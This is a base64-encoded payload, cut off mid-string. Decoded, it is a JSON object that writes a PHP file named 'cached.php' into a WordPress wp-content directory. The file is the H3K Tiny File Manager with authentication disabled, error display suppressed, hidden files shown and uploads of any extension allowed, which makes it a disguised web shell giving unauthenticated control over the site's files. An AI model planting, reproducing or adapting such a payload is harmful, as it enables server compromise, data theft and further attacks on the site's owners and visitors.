lUDvuyW3sicGF0aCI6IlwvaG9tZVwvbGFqbWl4eFwvYXBwc1wvbGFqbWl4eFwvd3AtY29udGVudFwvY2FjaGVkLnBocCIsImNvbnRlbnQiOiI8P3BocFxuJENPTkZJRyA9ICd7XCJsYW5nXCI6XCJlblwiLFwiZXJyb3JfcmVwb3J0aW5nXCI6ZmFsc2UsXCJzaG93X2hpZGRlblwiOnRydWUsXCJoaWRlX0NvbHNcIjpmYWxzZSxcInRoZW1lXCI6XCJkYXJrXCJ9JztcblxuXC8qKlxuICogSDNLIH4gVGlueSBGaWxlIE1hbmFnZXIgVjIuNlxuICogQGF1dGhvciBDQ1AgUHJvZ3JhbW1lcnNcbiAqIEBnaXRodWIgaHR0cHM6XC9cL2dpdGh1Yi5jb21cL3ByYXNhdGhtYW5pXC90aW55ZmlsZW1hbmFnZXJcbiAqIEBsaW5rIGh0dHBzOlwvXC90aW55ZmlsZW1hbmFnZXIuZ2l0aHViLmlvXG4gKlwvXG5cbmRlZmluZSgnVkVSU0lPTicsICcyLjYnKTtcblxuZGVmaW5lKCdBUFBfVElUTEUnLCAnVGlueSBGaWxlIE1hbmFnZXInKTtcblxuJHVzZV9hdXRoID0gZmFsc2U7XG5cbiRhdXRoX3VzZXJzID0gYXJyYXkoXG4gICAgJ2FkbWluJyA9PiAnJyxcbiAgICAndXNlcicgPT4gJydcbik7XG5cbiRyZWFkb25seV91c2VycyA9IGFycmF5KFxuICAgICd1c2VyJ1xuKTtcblxuJGdsb2JhbF9yZWFkb25seSA9IGZhbHNlO1xuXG4kZGlyZWN0b3JpZXNfdXNlcnMgPSBhcnJheSgpO1xuXG4kdXNlX2hpZ2hsaWdodGpzID0gdHJ1ZTtcbiRoaWdobGlnaHRqc19zdHlsZSA9ICd2cyc7XG4kZWRpdF9maWxlcyA9IHRydWU7XG4kZGVmYXVsdF90aW1lem9uZSA9ICdFdGNcL1VUQyc7XG5cblxuJHJvb3RfcGF0aCA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107XG4kcm9vdF91cmwgPSAnJztcbiRodHRwX2hvc3QgPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ107XG4kaWNvbnZfaW5wdXRfZW5jb2RpbmcgPSAnVVRGLTgnO1xuJGRhdGV0aW1lX2Zvcm1hdCA9ICdtXC9kXC9ZIGc6aSBBJztcbiRwYXRoX2Rpc3BsYXlfbW9kZSA9ICdmdWxsJztcbiRhbGxvd2VkX2ZpbGVfZXh0ZW5zaW9ucyA9ICcnO1xuJGFsbG93ZWRfdXBsb2FkX2V4dGVuc2lvbnMgPSAnJztcbiRmYXZpY29uX3BhdGggPSAnJztcbiRleGNsdWRlX2l0ZW1zID0gYXJyYXkoKTtcbiRvbmxpbmVfdmlld2VyID0gJ2dvb2dsZSc7XG4kc3RpY2t5X25hdmJhciA9IHRydWU7XG4kbWF4X3VwbG9hZF9zaXplX2J5dGVzID0gNTAwMDAwMDAwMDtcbiR1cGxvYWRfY2h1bmtfc2l6ZV9ieXRlcyA9IDIwMDAwMDA7XG4kaXBfcnVsZXNldCA9ICdPRkYnO1xuJGlwX3NpbGVudCA9IHRydWU7XG4kaXBfd2hpdGVsaXN0ID0gYXJyYXkoXG4gICAgJzEyNy4wLjAuMScsXG4gICAgJzo6MSdcbik7XG5cbiRpcF9ibGFja2xpc3QgPSBhcnJheShcbiAgICAnMC4wLjAuMCcsXG4gICAgJzo6J1xuKTtcblxuJGNvbmZpZ19maWxlID0gX19ESVJfXyAuICdcL2NvbmZpZy5waHAnO1xuaWYgKGlzX3JlYWRhYmxlKCRjb25maWdfZmlsZSkpIHtcbiAgICBAaW5jbHVkZSgkY29uZmlnX2ZpbGUpO1xufVxuXG4kZXh0ZXJuYWwgPSBhcnJheShcbiAgICAnY3NzLWJvb3RzdHJhcCcgPT4gJzxsaW5rIGhyZWY9XCJodHRwczpcL1wvY2RuLmpzZGVsaXZyLm5ldFwvbnBtXC9ib290c3RyYXBANS4zLjNcL2Rpc3RcL2Nzc1wvYm9vdHN0cmFwLm1pbi5jc3NcIiByZWw9XCJzdHlsZXNoZWV0XCIgaW50ZWdyaXR5PVwic2hhMzg0LVFXVEtaeWpwUEVqSVN2NVdhUlU5T0ZlUnBvazZZY3RuWW1EcjVwTmx5VDJiUmpYaDBKTWhqWTZoVytBTEV3SUhcIiBjcm9zc29yaWdpbj1cImFub255bW91c1wiPicsXG4gICAgJ2Nzcy1kcm9wem9uZScgPT4gJzxsaW5rIGhyZWY9XCJodHRwczpcL1wvY2RuanMuY2xvdWRmbGFyZS5jb21cL2FqYXhcL2xpYnNcL2Ryb3B6b25lXC81LjkuM1wvbWluXC9kcm9wem9uZS5taW4uY3NzXCIgcmVsPVwic3R5bGVzaGVldFwiPicsXG4gICAgJ2Nzcy1mb250LWF3ZXNvbWUnID0+ICc8bGluayByZWw9XCJzdHlsZXNoZWV0XCIgaHJlZj1cImh0dHBzOlwvXC9jZG5qcy5jbG91ZGZsYXJlLmNvbVwvYWpheFwvbGlic1wvZm9udC1hd2Vzb21lXC80LjcuMFwvY3NzXC9mb250LWF3ZXNvbWUubWluLmNzc1wiIGNyb3Nzb3JpZ2luPVwiYW5vbnltb3VzXCI+JyxcbiAgICAnY3NzLWhpZ2hsaWdodGpzJyA9PiAnPGxpbmsgcmVsPVwic3R5bGVzaGVldFwiIGhyZWY9XCJodHRwczpcL1wvY2RuanMuY2xvdWRmbGFyZS5jb21cL2FqYXhcL2xpYnNcL2hpZ2hsaWdodC5qc1wvMTEuOS4wXC9zdHlsZXNcLycgLiAkaGlnaGxpZ2h0anNfc3R5bGUgLiAnLm1pbi5jc3NcIj4nLFxuICAgICdqcy1hY2UnID0+ICc8c2NyaXB0IHNyYz1cImh0dHBzOlwvXC9jZG5qcy5jbG91ZGZsYXJlLmNvbVwvYWpheFwvbGlic1wvYWNlXC8xLjMyLjJcL2FjZS5qc1wiPjxcL3NjcmlwdD4nLFxuICAgICdqcy1ib290c3RyYXAnID0+ICc8c2NyaXB0IHNyYz1cImh0dHBzOlwvXC9jZG4uanNkZWxpdnIubmV0XC9ucG1cL2Jvb3RzdHJhcEA1LjMuM1wvZGlzdFwvanNcL2Jvb3RzdHJhcC5idW5kbGUubWluLmpzXCIgaW50ZWdyaXR5PVwic2hhMzg0LVl2cGNyWWYwdFkzbEhCNjBOTmttWGM1czlmRFZaTEVTYUFBNTVORHpPeGh5OUdrY0lkc2xLMWVON042akllSHpcIiBjcm9zc29yaWdpbj1cImFub255bW91c1wiPjxcL3NjcmlwdD4nLFxuICAgICdqcy1kcm9wem9uZScgPT4gJzxzY3JpcHQgc3JjPVwiaHR0cHM6XC9cL2NkbmpzLmNsb3VkZmxhcmUuY29tXC9hamF4XC9saWJzXC9kcm9wem9uZVwvNS45LjNcL21pblwvZHJvcHpvbmUubWluLmpzXCI+PFwvc2NyaXB0PicsXG4gICAgJ2pzLWpxdWVyeScgPT4gJzxzY3JpcHQgc3JjPVwiaHR0cHM6XC9cL2NvZGUuanF1ZXJ5LmNvbVwvanF1ZXJ5LTMuNi4xLm1pbi5qc1wiIGludGVncml0eT1cInNoYTI1Ni1vODhBd1FuWkIrVkR2RTl0dklYck1RYVBsRkZTVVRSK25sZFFtMUx1UFhRPVwiIGNyb3Nzb3JpZ2luPVwiYW5vbnltb3VzXCI+PFwvc2NyaXB0PicsXG4gICAgJ2pzLWpxdWVyeS1kYXRhdGFibGVzJyA9PiAnPHNjcmlwdCBzcmM9XCJodHRwczpcL1wvY2RuLmRhdGF0YWJsZXMubmV0XC8xLjEzLjFcL2pzXC9qcXVlcnkuZGF0YVRhYmxlcy5taW4uanNcIiBjcm9zc29yaWdpbj1cImFub255bW91c1wiIGRlZmVyPjxcL3NjcmlwdD4nLFxuICAgICdqcy1oaWdobGlnaHRqcycgPT4gJzxzY3JpcHQgc3JjPVwiaHR0cHM6XC9cL2NkbmpzLmNsb3VkZmxhcmUuY29tXC9hamF4XC9saWJzXC9oaWdobGlnaHQuanNcLzExLjkuMFwvaGlnaGxpZ2h0Lm1pbi5qc1wiPjxcL3NjcmlwdD4nLFxuICAgICdwcmUtanNkZWxpdnInID0+ICc8bGluayByZWw9XCJwcmVjb25uZWN0XCIgaHJlZj1cImh0dHBzOlwvXC9jZG4uanNkZWxpdnIubmV0XCIgY3Jvc3NvcmlnaW5cLz48bGluayByZWw9XCJkbnMtcHJlZmV0Y2hcIiBocmVmPVwiaHR0cHM6XC9cL2Nkbi5qc2RlbGl2ci5uZXRcIlwvPicsXG4gICAgJ3ByZS1jbG91ZGZsYXJlJyA9PiAnPGxpbmsgcmVsPVwicHJlY29ubmVjdFwiIGhyZWY9XCJodHRwczpcL1wvY2RuanMuY2xvdWRmbGFyZS5jb21cIiBjcm9zc29yaWdpblwvPjxsaW5rIHJlbD1cImRucy1wcmVmZXRjaFwiIGhyZWY9XCJodHRwczpcL1wvY2RuanMuY2xvdWRmbGFyZS5jb21cIlwvPidcbik7XG5cblxuZGVmaW5lKCdNQVhfVVBMT0FEX1NJWkUnLCAkbWF4X3VwbG9hZF9zaXplX2J5dGVzKTtcbmRlZmluZSgnVVBMT0FEX0NIVU5LX1NJWkUnLCAkdXBsb2FkX2NodW5rX3NpemVfYnl0ZXMpO1xuaWYgKCFkZWZpbmVkKCdGTV9TRVNTSU9OX0lEJykpIHtcbiAgICBkZWZpbmUoJ0ZNX1NFU1NJT05fSUQnLCAnZmlsZW1hbmFnZXInKTtcbn1cbiRjZmcgPSBuZXcgRk1fQ29uZmlnKCk7XG4kbGFuZyA9IGlzc2V0KCRjZmctPmRhdGFbJ2xhbmcnXSkgPyAkY2ZnLT5kYXRhWydsYW5nJ10gOiAnZW4nO1xuXG4kc2hvd19oaWRkZW5fZmlsZXMgPSBpc3NldCgkY2ZnLT5kYXRhWydzaG93X2hpZGRlbiddKSA/ICRjZmctPmRhdGFbJ3Nob3dfaGlkZGVuJ10gOiB0cnVlO1xuJHJlcG9ydF9lcnJvcnMgPSBpc3NldCgkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSkgPyAkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSA6IHRydWU7XG4kaGlkZV9Db2xzID0gaXNzZXQoJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10pID8gJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10gOiB0cnVlO1xuJHRoZW1lID0gaXNzZXQoJGNmZy0+ZGF0YVsndGhlbWUnXSkgPyAkY2ZnLT5kYXRhWyd0aGVtZSddIDogJ2xpZ2h0JztcblxuZGVmaW5lKCdGTV9USEVNRScsICR0aGVtZSk7XG5cbiRsYW5nX2xpc3QgPSBhcnJheShcbiAgICAnZW4nID0+ICdFbmdsaXNoJ1xuKTtcblxuaWYgKCRyZXBvcnRfZXJyb3JzID09IGZhbHNlKSB7XG4gICAgQGluaV9zZXQoJ2Vycm9yX3JlcG9ydGluZycsIDApO1xuICAgIEBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApO1xufSBlbHNlIHtcbiAgICBAaW5pX3NldCgnZXJyb3JfcmVwb3J0aW5nJywgMCk7XG4gICAgQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7XG59XG5cbmlmIChkZWZpbmVkKCdGTV9FTUJFRCcpKSB7XG4gICAgJHVzZV9hdXRoID0gZmFsc2U7XG4gICAgJHN0aWNreV9uYXZiYXIgPSBmYWxzZTtcbn0gZWxzZSB7XG4gICAgQHNldF90aW1lX2xpbWl0KDYwMCk7XG5cbiAgICBkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCRkZWZhdWx0X3RpbWV6b25lKTtcblxuICAgIGluaV9zZXQoJ2RlZmF1bHRfY2hhcnNldCcsICdVVEYtOCcpO1xuICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc1LjYuMCcsICc8JykgJiYgZnVuY3Rpb25fZXhpc3RzKCdtYl9pbnRlcm5hbF9lbmNvZGluZycpKSB7XG4gICAgICAgIG1iX2ludGVybmFsX2VuY29kaW5nKCdVVEYtOCcpO1xuICAgIH1cbiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdtYl9yZWdleF9lbmNvZGluZycpKSB7XG4gICAgICAgIG1iX3JlZ2V4X2VuY29kaW5nKCdVVEYtOCcpO1xuICAgIH1cblxuICAgIHNlc3Npb25fY2FjaGVfbGltaXRlcignbm9jYWNoZScpO1xuICAgIHNlc3Npb25fbmFtZShGTV9TRVNTSU9OX0lEKTtcbiAgICBmdW5jdGlvbiBzZXNzaW9uX2Vycm9yX2hhbmRsaW5nX2Z1bmN0aW9uKCRjb2RlLCAkbXNnLCAkZmlsZSwgJGxpbmUpXG4gICAge1xuICAgICAgICBpZiAoJGNvZGUgPT0gMikge1xuICAgICAgICAgICAgc2Vzc2lvbl9hYm9ydCgpO1xuICAgICAgICAgICAgc2Vzc2lvbl9pZChzZXNzaW9uX2NyZWF0ZV9pZCgpKTtcbiAgICAgICAgICAgIEBzZXNzaW9uX3N0YXJ0KCk7XG4gICAgICAgIH1cbiAgICB9XG4gICAgc2V0X2Vycm9yX2hhbmRsZXIoJ3Nlc3Npb25fZXJyb3JfaGFuZGxpbmdfZnVuY3Rpb24nKTtcbiAgICBzZXNzaW9uX3N0YXJ0KCk7XG4gICAgcmVzdG9yZV9lcnJvcl9oYW5kbGVyKCk7XG59XG5cbmlmIChlbXB0eSgkX1NFU1NJT05bJ3Rva2VuJ10pKSB7XG4gICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncmFuZG9tX2J5dGVzJykpIHtcbiAgICAgICAgJF9TRVNTSU9OWyd0b2tlbiddID0gYmluMmhleChyYW5kb21fYnl0ZXMoMzIpKTtcbiAgICB9IGVsc2Uge1xuICAgICAgICAkX1NFU1NJT05bJ3Rva2VuJ10gPSBiaW4yaGV4KG9wZW5zc2xfcmFuZG9tX3BzZXVkb19ieXRlcygzMikpO1xuICAgIH1cbn1cblxuaWYgKGVtcHR5KCRhdXRoX3VzZXJzKSkge1xuICAgICR1c2VfYXV0aCA9IGZhbHNlO1xufVxuXG4kaXNfaHR0cHMgPSBpc3NldCgkX1NFUlZFUlsnSFRUUFMnXSkgJiYgKHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBTJ10pID09ICdvbicgfHwgJF9TRVJWRVJbJ0hUVFBTJ10gPT0gMSlcbiAgICB8fCBpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddKSAmJiAkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddID09ICdodHRwcyc7XG5cbmlmIChpc3NldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKSAmJiAhZW1wdHkoJGRpcmVjdG9yaWVzX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dKSkge1xuICAgICR3ZCA9IGZtX2NsZWFuX3BhdGgoZGlybmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSkpO1xuICAgICRyb290X3VybCA9ICAkcm9vdF91cmwgLiAkd2QgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGRpcmVjdG9yaWVzX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dO1xufVxuJHJvb3RfdXJsID0gZm1fY2xlYW5fcGF0aCgkcm9vdF91cmwpO1xuXG5kZWZpbmVkKCdGTV9ST09UX1VSTCcpIHx8IGRlZmluZSgnRk1fUk9PVF9VUkwnLCAoJGlzX2h0dHBzID8gJ2h0dHBzJyA6ICdodHRwJykgLiAnOlwvXC8nIC4gJGh0dHBfaG9zdCAuICghZW1wdHkoJHJvb3RfdXJsKSA/ICdcLycgLiAkcm9vdF91cmwgOiAnJykpO1xuZGVmaW5lZCgnRk1fU0VMRl9VUkwnKSB8fCBkZWZpbmUoJ0ZNX1NFTEZfVVJMJywgKCRpc19odHRwcyA/ICdodHRwcycgOiAnaHR0cCcpIC4gJzpcL1wvJyAuICRodHRwX2hvc3QgLiAkX1NFUlZFUlsnUEhQX1NFTEYnXSk7XG5cbmlmIChpc3NldCgkX0dFVFsnbG9nb3V0J10pKSB7XG4gICAgdW5zZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSk7XG4gICAgdW5zZXQoJF9TRVNTSU9OWyd0b2tlbiddKTtcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCk7XG59XG5cbmlmICgkaXBfcnVsZXNldCAhPSAnT0ZGJykge1xuICAgIGZ1bmN0aW9uIGdldENsaWVudElQKClcbiAgICB7XG4gICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKCdIVFRQX0NGX0NPTk5FQ1RJTkdfSVAnLCAkX1NFUlZFUikpIHtcbiAgICAgICAgICAgIHJldHVybiAgJF9TRVJWRVJbXCJIVFRQX0NGX0NPTk5FQ1RJTkdfSVBcIl07XG4gICAgICAgIH0gZWxzZSBpZiAoYXJyYXlfa2V5X2V4aXN0cygnSFRUUF9YX0ZPUldBUkRFRF9GT1InLCAkX1NFUlZFUikpIHtcbiAgICAgICAgICAgIHJldHVybiAgJF9TRVJWRVJbXCJIVFRQX1hfRk9SV0FSREVEX0ZPUlwiXTtcbiAgICAgICAgfSBlbHNlIGlmIChhcnJheV9rZXlfZXhpc3RzKCdSRU1PVEVfQUREUicsICRfU0VSVkVSKSkge1xuICAgICAgICAgICAgcmV0dXJuICRfU0VSVkVSWydSRU1PVEVfQUREUiddO1xuICAgICAgICB9IGVsc2UgaWYgKGFycmF5X2tleV9leGlzdHMoJ0hUVFBfQ0xJRU5UX0lQJywgJF9TRVJWRVIpKSB7XG4gICAgICAgICAgICByZXR1cm4gJF9TRVJWRVJbJ0hUVFBfQ0xJRU5UX0lQJ107XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuICcnO1xuICAgIH1cblxuICAgICRjbGllbnRJcCA9IGdldENsaWVudElQKCk7XG4gICAgJHByb2NlZWQgPSBmYWxzZTtcbiAgICAkd2hpdGVsaXN0ZWQgPSBpbl9hcnJheSgkY2xpZW50SXAsICRpcF93aGl0ZWxpc3QpO1xuICAgICRibGFja2xpc3RlZCA9IGluX2FycmF5KCRjbGllbnRJcCwgJGlwX2JsYWNrbGlzdCk7XG5cbiAgICBpZiAoJGlwX3J1bGVzZXQgPT0gJ0FORCcpIHtcbiAgICAgICAgaWYgKCR3aGl0ZWxpc3RlZCA9PSB0cnVlICYmICRibGFja2xpc3RlZCA9PSBmYWxzZSkge1xuICAgICAgICAgICAgJHByb2NlZWQgPSB0cnVlO1xuICAgICAgICB9XG4gICAgfSBlbHNlXG4gICAgaWYgKCRpcF9ydWxlc2V0ID09ICdPUicpIHtcbiAgICAgICAgaWYgKCR3aGl0ZWxpc3RlZCA9PSB0cnVlIHx8ICRibGFja2xpc3RlZCA9PSBmYWxzZSkge1xuICAgICAgICAgICAgJHByb2NlZWQgPSB0cnVlO1xuICAgICAgICB9XG4gICAgfVxuXG4gICAgaWYgKCRwcm9jZWVkID09IGZhbHNlKSB7XG4gICAgICAgIHRyaWdnZXJfZXJyb3IoJ1VzZXIgY29ubmVjdGlvbiBkZW5pZWQgZnJvbTogJyAuICRjbGllbnRJcCwgRV9VU0VSX1dBUk5JTkcpO1xuXG4gICAgICAgIGlmICgkaXBfc2lsZW50ID09IGZhbHNlKSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnQWNjZXNzIGRlbmllZC4gSVAgcmVzdHJpY3Rpb24gYXBwbGljYWJsZScpLCAnZXJyb3InKTtcbiAgICAgICAgICAgIGZtX3Nob3dfaGVhZGVyX2xvZ2luKCk7XG4gICAgICAgICAgICBmbV9zaG93X21lc3NhZ2UoKTtcbiAgICAgICAgfVxuICAgICAgICBleGl0KCk7XG4gICAgfVxufVxuXG5pZiAoJHVzZV9hdXRoKSB7XG4gICAgaWYgKGlzc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ10sICRhdXRoX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dKSkge1xuICAgIH0gZWxzZWlmIChpc3NldCgkX1BPU1RbJ2ZtX3VzciddLCAkX1BPU1RbJ2ZtX3B3ZCddLCAkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIHNsZWVwKDEpO1xuICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdwYXNzd29yZF92ZXJpZnknKSkge1xuICAgICAgICAgICAgaWYgKGlzc2V0KCRhdXRoX3VzZXJzWyRfUE9TVFsnZm1fdXNyJ11dKSAmJiBpc3NldCgkX1BPU1RbJ2ZtX3B3ZCddKSAmJiBwYXNzd29yZF92ZXJpZnkoJF9QT1NUWydmbV9wd2QnXSwgJGF1dGhfdXNlcnNbJF9QT1NUWydmbV91c3InXV0pICYmIHZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICAgICAgICAgICAgICAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddID0gJF9QT1NUWydmbV91c3InXTtcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnWW91IGFyZSBsb2dnZWQgaW4nKSk7XG4gICAgICAgICAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwpO1xuICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICB1bnNldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKTtcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnTG9naW4gZmFpbGVkLiBJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkJyksICdlcnJvcicpO1xuICAgICAgICAgICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdwYXNzd29yZF9oYXNoIG5vdCBzdXBwb3J0ZWQsIFVwZ3JhZGUgUEhQIHZlcnNpb24nKSwgJ2Vycm9yJyk7O1xuICAgICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgICAgdW5zZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSk7XG4gICAgICAgIGZtX3Nob3dfaGVhZGVyX2xvZ2luKCk7XG4/PlxuICAgICAgICA8c2VjdGlvbiBjbGFzcz1cImgtMTAwXCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29udGFpbmVyIGgtMTAwXCI+XG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cInJvdyBqdXN0aWZ5LWNvbnRlbnQtbWQtY2VudGVyIGFsaWduLWNvbnRlbnQtY2VudGVyIGgtMTAwdmhcIj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtd3JhcHBlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQgZmF0XCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtYm9keVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cImZvcm0tc2lnbmluXCIgYWN0aW9uPVwiXCIgbWV0aG9kPVwicG9zdFwiIGF1dG9jb21wbGV0ZT1cIm9mZlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1iLTNcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiYnJhbmRcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHN2ZyB2ZXJzaW9uPVwiMS4wXCIgeG1sbnM9XCJodHRwOlwvXC93d3cudzMub3JnXC8yMDAwXC9zdmdcIiBNMTAwOCB3aWR0aD1cIjEwMCVcIiBoZWlnaHQ9XCI4MHB4XCIgdmlld0JveD1cIjAgMCAyMzguMDAwMDAwIDE0MC4wMDAwMDBcIiBhcmlhLWxhYmVsPVwiSDNLIFRpbnkgRmlsZSBNYW5hZ2VyXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZyB0cmFuc2Zvcm09XCJ0cmFuc2xhdGUoMC4wMDAwMDAsMTQwLjAwMDAwMCkgc2NhbGUoMC4xMDAwMDAsLTAuMTAwMDAwKVwiIGZpbGw9XCIjMDAwMDAwXCIgc3Ryb2tlPVwibm9uZVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwYXRoIGQ9XCJNMTYwIDcwMCBsMCAtNjAwIDExMCAwIDExMCAwIDAgMjYwIDAgMjYwIDcwIDAgNzAgMCAwIC0yNjAgMCAtMjYwIDExMCAwIDExMCAwIDAgNjAwIDAgNjAwIC0xMTAgMCAtMTEwIDAgMCAtMjYwIDAgLTI2MCAtNzAgMCAtNzAgMCAwIDI2MCAwIDI2MCAtMTEwIDAgLTExMCAwIDAgLTYwMHpcIiBcLz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cGF0aCBmaWxsPVwiIzAwMzUwMFwiIGQ9XCJNMTAwOCAxMjI3IGwtMTA4IC03MiAwIC0xMTcgMCAtMTE4IDExMCAwIDExMCAwIDAgMTEwIDAgMTEwIDcwIDAgNzAgMCAwIC0xODAgMCAtMTgwIC0xMjUgMCBjLTY5IDAgLTEyNSAtMyAtMTI1IC02IDAgLTMgMjMgLTM5IDUyIC04MCBsNTIgLTc0IDczIDAgNzMgMCAwIC0xODUgMCAtMTg1IC03MCAwIC03MCAwIDAgMTE1IDAgMTE1IC0xMTAgMCAtMTEwIDAgMCAtMTkwIDAgLTE5MCAxODEgMCAxODEgMCAxMDkgNzMgMTA4IDcyIDEgMTgxIDAgMTgxIC02OSA0OCAtNjggNDkgNjggNTAgNjkgNDkgMCAyNDkgMCAyNDggLTE4MiAtMSAtMTgzIDAgLTEwNyAtNzJ6XCIgXC8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHBhdGggZD1cIk0xNjQwIDcwMCBsMCAtNjAwIDExMCAwIDExMCAwIDAgMjA4IDAgMjA4IDM1IDM0IDM1IDM0IDM1IC0zNCAzNSAtMzQgMCAtMjA4IDAgLTIwOCAxMTAgMCAxMTAgMCAwIDIxMiAwIDIxMyAtODcgODcgLTg4IDg4IDg4IDg4IDg3IDg3IDAgMjEzIDAgMjEyIC0xMTAgMCAtMTEwIDAgMCAtMjA4IDAgLTIwOCAtNzAgLTY5IC03MCAtNjkgMCAyNzcgMCAyNzcgLTExMCAwIC0xMTAgMCAwIC02MDB6XCIgXC8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9nPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9zdmc+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJ0ZXh0LWNlbnRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDEgY2xhc3M9XCJjYXJkLXRpdGxlXCI+PD9waHAgZWNobyBBUFBfVElUTEU7ID8+PFwvaDE+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGhyIFwvPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1iLTNcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPVwiZm1fdXNyXCIgY2xhc3M9XCJwYi0yXCI+PD9waHAgZWNobyBsbmcoJ1VzZXJuYW1lJyk7ID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJ0ZXh0XCIgY2xhc3M9XCJmb3JtLWNvbnRyb2xcIiBpZD1cImZtX3VzclwiIG5hbWU9XCJmbV91c3JcIiByZXF1aXJlZCBhdXRvZm9jdXM+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJtYi0zXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImZtX3B3ZFwiIGNsYXNzPVwicGItMlwiPjw/cGhwIGVjaG8gbG5nKCdQYXNzd29yZCcpOyA/PjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwicGFzc